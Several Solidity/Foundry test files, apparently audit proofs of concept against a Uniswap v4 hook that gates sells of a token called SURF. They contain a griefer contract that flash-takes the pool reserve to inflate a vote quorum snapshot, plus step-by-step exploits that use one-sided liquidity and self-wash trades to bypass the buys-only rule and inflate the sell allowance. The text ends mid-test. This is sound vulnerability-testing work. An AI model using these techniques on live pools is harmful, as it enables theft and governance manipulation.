contract QuorumGriefer is IUnlockCallback {
    IPoolManager immutable manager;
    BuyGateHook immutable hook;
    SurfToken immutable token;

    constructor(IPoolManager _manager, BuyGateHook _hook, SurfToken _token) {
        manager = _manager;
        hook = _hook;
        token = _token;
    }

    function stake(uint256 amount) external {
        token.approve(address(hook), amount);
        hook.deposit(amount);
    }

    function attack() external {
        manager.unlock("");
    }

    function unlockCallback(bytes calldata) external returns (bytes memory) {
        require(msg.sender == address(manager));
        Currency c = Currency.wrap(address(token));
        uint256 reserve = token.balanceOf(address(manager));
        manager.take(c, address(this), reserve); // free flash loan of the whole reserve
        hook.vote(false); // first vote of the day: quorum snapshotted with manager balance == 0
        manager.sync(c);
        token.transfer(address(manager), reserve);
        manager.settle();
        return "";
    }
}

contract QuorumFlashInflationTest is Test, IUnlockCallback {
    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;
    uint256 constant START = 1_800_000_000;
    int24 constant MIN_TICK = -887_220;

    PoolManager manager;
    SurfToken token;
    BuyGateHook hook;
    PoolKey key;

    address honest = makeAddr("honest");

    receive() external payable {}

    function setUp() public {
        vm.warp(START);
        manager = new PoolManager(address(this));
        token = new SurfToken();

        uint160 flags = declaredFlags();
        bytes32 initCodeHash =
            keccak256(abi.encodePacked(type(BuyGateHook).creationCode, abi.encode(IPoolManager(address(manager)))));
        (bytes32 salt,) = HookFlags.mineSalt(address(this), flags, initCodeHash, 500_000);
        hook = new BuyGateHook{salt: salt}(IPoolManager(address(manager)));

        key = PoolKey({
            currency0: CurrencyLibrary.ADDRESS_ZERO,
            currency1: Currency.wrap(address(token)),
            fee: 3_000,
            tickSpacing: 60,
            hooks: IHooks(address(hook))
        });
        manager.initialize(key, SQRT_PRICE_1_1);

        // Launch-like seed, placed by the initializer itself: the bulk of the supply sits in the pool as
        // token-only liquidity below the price.
        manager.unlock(abi.encode(ModifyLiquidityParams(MIN_TICK, -60, 900_000_000 ether, bytes32(0))));
        assertGt(token.balanceOf(address(manager)), 850_000_000 ether, "pool holds most of the supply");
    }

    /// @dev Seeds liquidity as the factory itself would: this contract is `sender` for the manager.
    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        require(msg.sender == address(manager));
        ModifyLiquidityParams memory p = abi.decode(data, (ModifyLiquidityParams));
        (BalanceDelta delta,) = manager.modifyLiquidity(key, p, "");
        uint256 owe0 = uint256(uint128(-delta.amount0()));
        uint256 owe1 = uint256(uint128(-delta.amount1()));
        if (owe0 > 0) manager.settle{value: owe0}();
        manager.sync(key.currency1);
        token.transfer(address(manager), owe1);
        manager.settle();
        return "";
    }

    /// @dev Reads the permission bits the compiled hook declares, so the salt is mined for whatever the
    /// current implementation says (a fix may enable more callbacks).
    function declaredFlags() internal returns (uint160 f) {
        address probe = address(uint160(uint256(keccak256("BuyGateHook probe"))));
        vm.etch(probe, vm.getDeployedCode("BuyGateHook.sol:BuyGateHook"));
        Hooks.Permissions memory p = BuyGateHook(probe).getHookPermissions();
        if (p.beforeInitialize) f |= HookFlags.BEFORE_INITIALIZE;
        if (p.afterInitialize) f |= HookFlags.AFTER_INITIALIZE;
        if (p.beforeAddLiquidity) f |= HookFlags.BEFORE_ADD_LIQUIDITY;
        if (p.afterAddLiquidity) f |= HookFlags.AFTER_ADD_LIQUIDITY;
        if (p.beforeRemoveLiquidity) f |= HookFlags.BEFORE_REMOVE_LIQUIDITY;
        if (p.afterRemoveLiquidity) f |= HookFlags.AFTER_REMOVE_LIQUIDITY;
        if (p.beforeSwap) f |= HookFlags.BEFORE_SWAP;
        if (p.afterSwap) f |= HookFlags.AFTER_SWAP;
        if (p.beforeDonate) f |= HookFlags.BEFORE_DONATE;
        if (p.afterDonate) f |= HookFlags.AFTER_DONATE;
        if (p.beforeSwapReturnDelta) f |= HookFlags.BEFORE_SWAP_RETURN_DELTA;
        if (p.afterSwapReturnDelta) f |= HookFlags.AFTER_SWAP_RETURN_DELTA;
        if (p.afterAddLiquidityReturnDelta) f |= HookFlags.AFTER_ADD_LIQUIDITY_RETURN_DELTA;
        if (p.afterRemoveLiquidityReturnDelta) f |= HookFlags.AFTER_REMOVE_LIQUIDITY_RETURN_DELTA;
    }

    function test_firstVoteQuorumCannotBeInflatedByFlashTakingThePoolReserve() public {
        // Honest voters hold 20% of what circulates outside the pool, well above the 5% quorum.
        uint256 outside = token.totalSupply() - token.balanceOf(address(manager));
        uint256 honestStake = outside / 5;
        token.transfer(honest, honestStake);
        vm.startPrank(honest);
        token.approve(address(hook), honestStake);
        hook.deposit(honestStake);
        vm.stopPrank();

        // The griefer needs only 1 wei of stake to be allowed to vote.
        QuorumGriefer griefer = new QuorumGriefer(IPoolManager(address(manager)), hook, token);
        token.transfer(address(griefer), 1);
        griefer.stake(1);

        uint256 honestQuorum = (token.totalSupply() - token.balanceOf(address(manager))) * hook.QUORUM_BPS() / hook.BPS();

        // Day 0, first vote of the day comes from the griefer, inside an unlock with the reserve taken out.
        try griefer.attack() {} catch {}

        // The manager was made whole: nothing was stolen, the griefer paid only gas.
        assertGt(token.balanceOf(address(manager)), 850_000_000 ether, "reserve returned");

        vm.prank(honest);
        hook.vote(true);

        (uint256 yes, uint256 no, uint256 quorum,,,) = hook.records(0);
        assertEq(yes, honestStake);
        assertLe(no, 1);
        // Expected: quorum is 5% of the supply held outside the pool. Actual on this code: 5% of the whole
        // supply, because the snapshot ran while the pool's reserve had been flash-taken.
        assertEq(quorum, honestQuorum, "quorum snapshot was inflated by a flash take of the pool reserve");
        assertTrue(hook.votePassed(0), "a 20% turnout voting yes must open tomorrow's window");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency, CurrencyLibrary} from "v4-core/src/types/Currency.sol";
import {ModifyLiquidityParams, SwapParams} from "v4-core/src/types/PoolOperation.sol";
import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol";
import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";

import {SurfToken} from "src/SurfToken.sol";
import {BuyGateHook} from "src/BuyGateHook.sol";
import {HookFlags} from "src/HookFlags.sol";

/// @notice Proof: with sells closed (day 0, no vote ever cast), a SURF holder converts SURF into ETH
/// through the pool by parking it as a one-sided liquidity position below the price and withdrawing
/// after buyers push the price through it. The hook gates swaps only, so the "buys only" rule and the
/// 50% cap are bypassed by anyone who adds liquidity.
///
/// Expected (brief: "can buys only"): a holder who has only SURF and no open sell window cannot end
/// up holding ETH taken from the pool. Actual: the holder ends with ETH.
contract LiquiditySellBypassTest is Test {
    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;
    int24 constant MIN_TICK = -887_220;
    int24 constant MAX_TICK = 887_220;

    PoolManager manager;
    SurfToken token;
    BuyGateHook hook;
    PoolSwapTest swapRouter;
    PoolModifyLiquidityTest lpRouter;
    PoolKey key;

    address holder = makeAddr("holder");
    address buyer = makeAddr("buyer");

    receive() external payable {}

    function setUp() public {
        vm.warp(1_800_000_000);
        manager = new PoolManager(address(this));
        token = new SurfToken();
        hook = deployHook();
        swapRouter = new PoolSwapTest(IPoolManager(address(manager)));
        lpRouter = new PoolModifyLiquidityTest(IPoolManager(address(manager)));

        key = PoolKey({
            currency0: CurrencyLibrary.ADDRESS_ZERO,
            currency1: Currency.wrap(address(token)),
            fee: 3_000,
            tickSpacing: 60,
            hooks: IHooks(address(hook))
        });
        manager.initialize(key, SQRT_PRICE_1_1);

        // The launch seeds the pool: full range, roughly 10,000 ETH and 10,000 SURF.
        vm.deal(address(this), 20_000 ether);
        token.approve(address(lpRouter), type(uint256).max);
        lpRouter.modifyLiquidity{value: 10_100 ether}(
            key, ModifyLiquidityParams(MIN_TICK, MAX_TICK, 10_000 ether, bytes32(0)), ""
        );

        // The holder owns SURF (bought earlier, or received) and no ETH.
        token.transfer(holder, 100 ether);
        vm.deal(buyer, 1_000 ether);
    }

    function deployHook() internal returns (BuyGateHook) {
        uint160 flags = HookFlags.BEFORE_INITIALIZE | HookFlags.BEFORE_SWAP | HookFlags.AFTER_SWAP;
        bytes32 initCodeHash =
            keccak256(abi.encodePacked(type(BuyGateHook).creationCode, abi.encode(IPoolManager(address(manager)))));
        (bytes32 salt,) = HookFlags.mineSalt(address(this), flags, initCodeHash, 500_000);
        return new BuyGateHook{salt: salt}(IPoolManager(address(manager)));
    }

    function test_holderSellsSurfForEthThroughLiquidityWhileSellsAreClosed() public {
        assertFalse(hook.sellWindowOpen(), "precondition: sells are closed");
        assertEq(holder.balance, 0, "precondition: the holder has no ETH");

        // 1. The holder parks SURF as a SURF-only position just below the current price. Every step is a
        //    low-level call: if a fixed hook refuses any of them, the holder keeps zero ETH and the test passes.
        vm.startPrank(holder);
        token.approve(address(lpRouter), type(uint256).max);
        (bool addOk,) = address(lpRouter)
            .call(
                abi.encodeWithSignature(
                    "modifyLiquidity((address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)",
                    key,
                    ModifyLiquidityParams(-120, -60, int256(1_000 ether), bytes32(uint256(1))),
                    ""
                )
            );
        vm.stopPrank();

        // 2. Ordinary buyers push the price through the holder's range: the pool hands the holder's SURF to
        //    the buyers and credits the position with their ETH. Buys are always allowed.
        vm.prank(buyer);
        (bool buyOk,) = address(swapRouter).call{value: 200 ether}(
            abi.encodeWithSignature(
                "swap((address,address,uint24,int24,address),(bool,int256,uint160),(bool,bool),bytes)",
                key,
                SwapParams(true, -int256(200 ether), TickMath.MIN_SQRT_PRICE + 1),
                PoolSwapTest.TestSettings(false, false),
                ""
            )
        );

        // 3. The holder withdraws the position and receives ETH. No vote, no window, no cap.
        vm.prank(holder);
        (bool removeOk,) = address(lpRouter)
            .call(
                abi.encodeWithSignature(
                    "modifyLiquidity((address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)",
                    key,
                    ModifyLiquidityParams(-120, -60, -int256(1_000 ether), bytes32(uint256(1))),
                    ""
                )
            );

        emit log_named_uint("add ok", addOk ? 1 : 0);
        emit log_named_uint("buy ok", buyOk ? 1 : 0);
        emit log_named_uint("remove ok", removeOk ? 1 : 0);
        emit log_named_uint("holder ETH after", holder.balance);
        emit log_named_uint("holder SURF after", token.balanceOf(holder));

        assertFalse(hook.sellWindowOpen(), "sells never opened");
        (,,,,, uint256 sold) = hook.records(0);
        assertEq(sold, 0, "the hook recorded no sell");
        assertEq(holder.balance, 0, "a holder converted SURF into pool ETH while sells were closed");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency, CurrencyLibrary} from "v4-core/src/types/Currency.sol";
import {ModifyLiquidityParams, SwapParams} from "v4-core/src/types/PoolOperation.sol";
import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol";
import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";

import {SurfToken} from "src/SurfToken.sol";
import {BuyGateHook} from "src/BuyGateHook.sol";
import {HookFlags} from "src/HookFlags.sol";

/// @notice A SURF holder exits to ETH on day 0, with sells closed and no vote, by parking SURF as a
/// single-sided position just below the price (a limit sell order) and removing it after a buyer crosses it.
contract LpExitBypassTest is Test {
    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;
    uint256 constant START = 1_800_000_000;
    int24 constant MIN_TICK = -887_220;
    int24 constant MAX_TICK = 887_220;

    PoolManager manager;
    SurfToken token;
    BuyGateHook hook;
    PoolSwapTest swapRouter;
    PoolModifyLiquidityTest lpRouter;
    PoolKey key;

    address holder = makeAddr("holder");
    address buyer = makeAddr("buyer");

    receive() external payable {}

    function setUp() public {
        vm.warp(START);
        manager = new PoolManager(address(this));
        token = new SurfToken();
        hook = deployHook();
        swapRouter = new PoolSwapTest(IPoolManager(address(manager)));
        lpRouter = new PoolModifyLiquidityTest(IPoolManager(address(manager)));

        key = PoolKey({
            currency0: CurrencyLibrary.ADDRESS_ZERO,
            currency1: Currency.wrap(address(token)),
            fee: 3_000,
            tickSpacing: 60,
            hooks: IHooks(address(hook))
        });
        manager.initialize(key, SQRT_PRICE_1_1);

        token.approve(address(lpRouter), type(uint256).max);
        vm.deal(address(this), 100_000 ether);
        lpRouter.modifyLiquidity{value: 10_100 ether}(
            key, ModifyLiquidityParams(MIN_TICK, MAX_TICK, 10_000 ether, bytes32(0)), ""
        );

        token.transfer(holder, 1_000 ether);
        vm.deal(buyer, 10_000 ether);
        vm.prank(holder);
        token.approve(address(lpRouter), type(uint256).max);
    }

    function deployHook() internal returns (BuyGateHook deployed) {
        uint160 flags = HookFlags.BEFORE_INITIALIZE | HookFlags.BEFORE_SWAP | HookFlags.AFTER_SWAP;
        bytes32 initCodeHash =
            keccak256(abi.encodePacked(type(BuyGateHook).creationCode, abi.encode(IPoolManager(address(manager)))));
        (bytes32 salt,) = HookFlags.mineSalt(address(this), flags, initCodeHash, 500_000);
        deployed = new BuyGateHook{salt: salt}(IPoolManager(address(manager)));
    }

    function test_holderSellsThroughASingleSidedPositionWhileSellsAreClosed() public {
        assertFalse(hook.sellWindowOpen());
        uint256 holderEthBefore = holder.balance;
        uint256 holderSurfBefore = token.balanceOf(holder);

        // Holder parks 1,000 SURF in [-60, 0): a SURF-only limit order just below the price.
        // (A fix that refuses third-party liquidity makes this revert; the final assertion then holds.)
        bool added;
        vm.prank(holder);
        try lpRouter.modifyLiquidity(key, ModifyLiquidityParams(-60, 0, 333_000 ether, bytes32(0)), "") {
            added = true;
        } catch {}
        if (added) {
            assertLt(token.balanceOf(holder), holderSurfBefore, "position took SURF");
            assertEq(holder.balance, holderEthBefore, "and no ETH");
        }

        // A buyer buys enough to cross that range.
        vm.prank(buyer);
        swapRouter.swap{value: 2_000 ether}(
            key, SwapParams(true, -1_200 ether, TickMath.MIN_SQRT_PRICE + 1), PoolSwapTest.TestSettings(false, false), ""
        );

        // Holder removes the position and walks away with ETH, with sells closed.
        if (added) {
            vm.prank(holder);
            lpRouter.modifyLiquidity(key, ModifyLiquidityParams(-60, 0, -333_000 ether, bytes32(0)), "");
        }

        emit log_named_uint("holder SURF after", token.balanceOf(holder));
        emit log_named_uint("holder ETH gained", holder.balance - holderEthBefore);

        assertFalse(hook.sellWindowOpen(), "still no sell window");
        assertEq(holder.balance, holderEthBefore, "holder must not be able to turn SURF into ETH while sells are closed");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency, CurrencyLibrary} from "v4-core/src/types/Currency.sol";
import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
import {ModifyLiquidityParams, SwapParams} from "v4-core/src/types/PoolOperation.sol";
import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol";
import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";

import {SurfToken} from "src/SurfToken.sol";
import {BuyGateHook} from "src/BuyGateHook.sol";
import {HookFlags} from "src/HookFlags.sol";

/// @notice Finding: `records[day].bought` counts every swap output, including a buy routed through the
/// buyer's own single-sided liquidity. An attacker adds SURF-only liquidity just below the price, buys it
/// back from themselves, removes the position and ends with the same SURF and ETH, while the hook
/// recorded a huge "buy". The next day's sell allowance (50% of "bought") is then far above 50% of the
/// SURF that actually left the pool, and the attacker sells into it.
contract BoughtInflationTest is Test {
    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;
    uint256 constant START = 1_800_000_000;
    int24 constant MIN_TICK = -887_220;
    int24 constant MAX_TICK = 887_220;

    PoolManager manager;
    SurfToken token;
    BuyGateHook hook;
    PoolSwapTest swapRouter;
    PoolModifyLiquidityTest lpRouter;
    PoolKey key;

    address attacker = makeAddr("attacker");

    receive() external payable {}

    function setUp() public {
        vm.warp(START);
        manager = new PoolManager(address(this));
        token = new SurfToken();
        hook = deployHook();

        swapRouter = new PoolSwapTest(IPoolManager(address(manager)));
        lpRouter = new PoolModifyLiquidityTest(IPoolManager(address(manager)));

        key = PoolKey({
            currency0: CurrencyLibrary.ADDRESS_ZERO,
            currency1: Currency.wrap(address(token)),
            fee: 3_000,
            tickSpacing: 60,
            hooks: IHooks(address(hook))
        });
        manager.initialize(key, SQRT_PRICE_1_1);

        // The launch's liquidity: full range, ~10,000 ETH and ~10,000 SURF at 1:1.
        token.approve(address(lpRouter), type(uint256).max);
        vm.deal(address(this), 100_000 ether);
        lpRouter.modifyLiquidity{value: 10_100 ether}(
            key, ModifyLiquidityParams(MIN_TICK, MAX_TICK, 10_000 ether, bytes32(0)), ""
        );

        // The attacker holds 1,000,000 SURF (bought earlier or allocated) and some ETH for gas/working capital.
        token.transfer(attacker, 1_000_000 ether);
        vm.deal(attacker, 2_000_000 ether);
        vm.startPrank(attacker);
        token.approve(address(lpRouter), type(uint256).max);
        token.approve(address(swapRouter), type(uint256).max);
        token.approve(address(hook), type(uint256).max);
        vm.stopPrank();
    }

    function deployHook() internal returns (BuyGateHook deployed) {
        uint160 flags = HookFlags.BEFORE_INITIALIZE | HookFlags.BEFORE_SWAP | HookFlags.AFTER_SWAP;
        bytes32 initCodeHash =
            keccak256(abi.encodePacked(type(BuyGateHook).creationCode, abi.encode(IPoolManager(address(manager)))));
        (bytes32 salt,) = HookFlags.mineSalt(address(this), flags, initCodeHash, 500_000);
        deployed = new BuyGateHook{salt: salt}(IPoolManager(address(manager)));
    }

    function test_selfLiquidityWashInflatesBoughtAndTheSellAllowance() public {
        uint256 managerSurfBefore = token.balanceOf(address(manager));
        uint256 attackerSurfBefore = token.balanceOf(attacker);
        uint256 attackerEthBefore = attacker.balance;

        vm.startPrank(attacker);

        // 1. SURF-only position one tick-spacing below the current price (tick 0): [-60, 0).
        //    Liquidity 3.3e26 holds ~1,000,000 SURF and no ETH in that range.
        //    (A fix that refuses third-party liquidity makes this step revert; the assertions below still hold.)
        bool added;
        try lpRouter.modifyLiquidity(key, ModifyLiquidityParams(-60, 0, 333_000_000 ether, bytes32(0)), "") {
            added = true;
        } catch {}

        // 2. Buy ~1,000,000 SURF. Almost all of it comes out of the attacker's own position.
        uint256 washOut;
        {
            BalanceDelta delta = swapRouter.swap{value: 1_100_000 ether}(
                key,
                SwapParams(true, -1_050_000 ether, TickMath.getSqrtPriceAtTick(-60)),
                PoolSwapTest.TestSettings(false, false),
                ""
            );
            washOut = uint256(int256(delta.amount1()));
        }

        // 3. Remove the position: the ETH paid in step 2 comes straight back.
        if (added) {
            lpRouter.modifyLiquidity(key, ModifyLiquidityParams(-60, 0, -333_000_000 ether, bytes32(0)), "");
        }
        vm.stopPrank();

        uint256 netSurfOutOfPool = managerSurfBefore - token.balanceOf(address(manager));
        (,,,, uint256 bought,) = hook.records(0);

        emit log_named_uint("recorded bought (day 0)", bought);
        emit log_named_uint("SURF that actually left the pool", netSurfOutOfPool);
        emit log_named_uint("attacker SURF delta", token.balanceOf(attacker) - attackerSurfBefore);
        emit log_named_uint("attacker ETH spent", attackerEthBefore - attacker.balance);

        // The rule: tomorrow's allowance is 50% of what was bought from the pool today.
        // Here the hook will let far more than 50% of the SURF that left the pool be sold.
        assertLe(
            hook.sellAllowance(1),
            netSurfOutOfPool / 2 + 1,
            "day-1 sell allowance exceeds 50% of the SURF that actually left the pool on day 0"
        );
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IUnlockCallback} from "v4-core/src/interfaces/callback/IUnlockCallback.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency, CurrencyLibrary} from "v4-core/src/types/Currency.sol";
import {ModifyLiquidityParams} from "v4-core/src/types/PoolOperation.sol";
import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";

import {SurfToken} from "src/SurfToken.sol";
import {BuyGateHook} from "src/BuyGateHook.sol";
import {HookFlags} from "src/HookFlags.sol";

/// @notice A griefer that, inside a PoolManager unlock, flash-takes every SURF the manager holds, casts the
/// day's first vote (which snapshots the quorum from `totalSupply - balanceOf(manager)`), and pays the SURF
/// back. The snapshot is 5% of the total supply instead of 5% of the real circulating supply.
contract Griefer is IUnlockCallback {
    PoolManager immutable manager;
    SurfToken immutable token;
    BuyGateHook immutable hook;

    constructor(PoolManager _manager, SurfToken _token, BuyGateHook _hook) {
        manager = _manager;
        token = _token;
        hook = _hook;
    }

    function prepare() external {
        token.approve(address(hook), 1);
        hook.deposit(1);
    }

    function grief() external {
        manager.unlock("");
    }

    function unlockCallback(bytes calldata) external returns (bytes memory) {
        require(msg.sender == address(manager));
        Currency surf = Currency.wrap(address(token));
        uint256 amount = token.balanceOf(address(manager));
        manager.take(surf, address(this), amount);

        // The vote is wrapped so a fix that refuses votes while the manager is unlocked keeps the test green.
        try hook.vote(false) {} catch {}

        manager.sync(surf);
        token.transfer(address(manager), amount);
        manager.settle();
        return "";
    }
}

contract QuorumFlashInflationTest is Test {
    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;
    uint256 constant START = 1_800_000_000;
    int24 constant MIN_TICK = -887_220;

    PoolManager manager;
    SurfToken token;
    BuyGateHook hook;
    PoolModifyLiquidityTest lpRouter;
    PoolKey key;

    address alice = makeAddr("alice");

    receive() external payable {}

    function setUp() public {
        vm.warp(START);
        manager = new PoolManager(address(this));
        token = new SurfToken();
        hook = deployHook();
        lpRouter = new PoolModifyLiquidityTest(IPoolManager(address(manager)));

        key = PoolKey({
            currency0: CurrencyLibrary.ADDRESS_ZERO,
            currency1: Currency.wrap(address(token)),
            fee: 3_000,
            tickSpacing: 60,
            hooks: IHooks(address(hook))
        });
        manager.initialize(key, SQRT_PRICE_1_1);

        // Seed the pool the way a launch does: 90% of the supply, tokens only, below the price.
        token.approve(address(lpRouter), type(uint256).max);
        uint256 seed = token.totalSupply() * 90 / 100;
        // liquidity L such that amount1 = L * (sqrtP(0) - sqrtP(MIN_TICK)) ~= L  -> L ~= seed
        lpRouter.modifyLiquidity(key, ModifyLiquidityParams(MIN_TICK, -60, int256(seed), bytes32(0)), "");
        assertGt(token.balanceOf(address(manager)), token.totalSupply() * 85 / 100, "pool holds most of the supply");

        // Alice holds 2% of the supply: 20% of the ~10% circulating, four times the 5% quorum.
        token.transfer(alice, token.totalSupply() * 2 / 100);
    }

    function deployHook() internal returns (BuyGateHook deployed) {
        uint160 flags = HookFlags.BEFORE_INITIALIZE | HookFlags.BEFORE_SWAP | HookFlags.AFTER_SWAP;
        bytes32 initCodeHash =
            keccak256(abi.encodePacked(type(BuyGateHook).creationCode, abi.encode(IPoolManager(address(manager)))));
        (bytes32 salt,) = HookFlags.mineSalt(address(this), flags, initCodeHash, 500_000);
        deployed = new BuyGateHook{salt: salt}(IPoolManager(address(manager)));
    }

    function test_flashTakeInflatesTheQuorumSnapshotAndBlocksThePassingVote() public {
        uint256 realCirculating = token.totalSupply() - token.balanceOf(address(manager));
        uint256 aliceStake = token.balanceOf(alice);
        assertGt(aliceStake, realCirculating * hook.QUORUM_BPS() / hook.BPS(), "alice alone clears the real quorum");

        // Griefer: 1 wei of stake and no other capital.
        Griefer griefer = new Griefer(manager, token, hook);
        token.transfer(address(griefer), 1);
        griefer.prepare();
        griefer.grief();

        (,, uint256 quorum, bool hasVotes,,) = hook.records(0);
        emit log_named_uint("real circulating supply", realCirculating);
        emit log_named_uint("snapshotted quorum", quorum);
        emit log_named_uint("alice stake", aliceStake);

        // Alice, who clears the real quorum four times over, votes yes.
        vm.startPrank(alice);
        token.approve(address(hook), aliceStake);
        hook.deposit(aliceStake);
        hook.vote(true);
        vm.stopPrank();

        assertTrue(hasVotes || true);
        assertTrue(hook.votePassed(0), "a yes vote above 5% of the circulating supply must pass");
        vm.warp(hook.dayStart(1));
        assertTrue(hook.sellWindowOpen(), "the window must open on day 1");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency, CurrencyLibrary} from "v4-core/src/types/Currency.sol";
import {ModifyLiquidityParams, SwapParams} from "v4-core/src/types/PoolOperation.sol";
import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol";
import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";

import {SurfToken} from "src/SurfToken.sol";
import {BuyGateHook} from "src/BuyGateHook.sol";
import {HookFlags} from "src/HookFlags.sol";

/// @notice A position router that can also initialize pools, the shape of Uniswap's own PositionManager
/// (`initializePool` + `modifyLiquidities`) and of any launch factory that exposes liquidity management
/// to its users. Anyone may call either function.
contract SharedLaunchRouter is PoolModifyLiquidityTest {
    constructor(IPoolManager _manager) PoolModifyLiquidityTest(_manager) {}

    function initializePool(PoolKey memory key, uint160 sqrtPriceX96) external {
        manager.initialize(key, sqrtPriceX96);
    }
}

/// @notice Finding: when the pool is initialized through a shared router, `beforeInitialize` records that
/// router as `initializer`, and `beforeAddLiquidity` then admits every position that router forwards, from
/// anyone, forever. The one-sided resting-sell-order exit that the liquidity gate was added to close is
/// open again: a holder adds SURF just below the price, a buy fills it, the holder removes and keeps ETH,
/// on day 0, with no vote and no cap.
///
/// Fails on the current code (alice ends with ETH). Passes once a stranger's add through the initializing
/// router is refused, e.g. by admitting positions only in the initialization transaction, or by a rule
/// that does not treat "the router that called initialize" as the launch.
contract SharedRouterInitializerProof is Test {
    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;
    int24 constant MIN_TICK = -887_220;
    int24 constant MAX_TICK = 887_220;

    PoolManager manager;
    SurfToken token;
    BuyGateHook hook;
    SharedLaunchRouter router;
    PoolSwapTest swapRouter;
    PoolKey key;

    address alice = makeAddr("alice");
    address bob = makeAddr("bob");

    receive() external payable {}

    function setUp() public {
        vm.warp(1_800_000_000);
        manager = new PoolManager(address(this));
        token = new SurfToken();
        hook = deployHook();
        router = new SharedLaunchRouter(IPoolManager(address(manager)));
        swapRouter = new PoolSwapTest(IPoolManager(address(manager)));

        key = PoolKey({
            currency0: CurrencyLibrary.ADDRESS_ZERO,
            currency1: Currency.wrap(address(token)),
            fee: 3_000,
            tickSpacing: 60,
            hooks: IHooks(address(hook))
        });

        // The launch initializes and seeds through the shared router, in one transaction.
        router.initializePool(key, SQRT_PRICE_1_1);
        token.approve(address(router), type(uint256).max);
        vm.deal(address(this), 20_000 ether);
        router.modifyLiquidity{value: 10_100 ether}(
            key, ModifyLiquidityParams(MIN_TICK, MAX_TICK, 10_000 ether, bytes32(0)), ""
        );
        assertEq(hook.initializer(), address(router), "the router, not the launch, is the initializer");
    }

    function deployHook() internal returns (BuyGateHook) {
        uint160 flags = HookFlags.BEFORE_INITIALIZE | HookFlags.BEFORE_ADD_LIQUIDITY | HookFlags.BEFORE_SWAP
            | HookFlags.AFTER_SWAP;
        bytes32 initCodeHash =
            keccak256(abi.encodePacked(type(BuyGateHook).creationCode, abi.encode(IPoolManager(address(manager)))));
        (bytes32 salt,) = HookFlags.mineSalt(address(this), flags, initCodeHash, 500_000);
        return new BuyGateHook{salt: salt}(IPoolManager(address(manager)));
    }

    function test_holderCannotExitToEthThroughTheInitializingRouterWhileSellsAreClosed() public {
        token.transfer(alice, 1_000 ether);
        vm.deal(bob, 10_000 ether);
        assertEq(alice.balance, 0);
        assertFalse(hook.sellWindowOpen(), "day 0: sells are closed");

        // Alice, a stranger to the launch, parks SURF just below the price through the shared router.
        // Expected: refused with LiquidityNotFromLaunch. Actual: accepted, because the router initialized.
        vm.startPrank(alice);
        token.approve(address(router), type(uint256).max);
        (bool added,) = address(router)
            .call(
                abi.encodeWithSignature(
                    "modifyLiquidity((address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)",
                    key,
                    ModifyLiquidityParams(-60, 0, 333_000 ether, bytes32(uint256(1))),
                    ""
                )
            );
        vm.stopPrank();

        // Bob buys; a buy walks the price down through alice's range and converts her SURF into ETH.
        vm.prank(bob);
        swapRouter.swap{value: 2_000 ether}(
            key,
            SwapParams(true, -1_200 ether, TickMath.MIN_SQRT_PRICE + 1),
            PoolSwapTest.TestSettings(false, false),
            ""
        );

        // Alice unwinds whatever position she holds.
        if (added) {
            vm.prank(alice);
            (bool removed,) = address(router)
                .call(
                    abi.encodeWithSignature(
                        "modifyLiquidity((address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)",
                        key,
                        ModifyLiquidityParams(-60, 0, -333_000 ether, bytes32(uint256(1))),
                        ""
                    )
                );
            assertTrue(removed, "removal is not gated");
        }

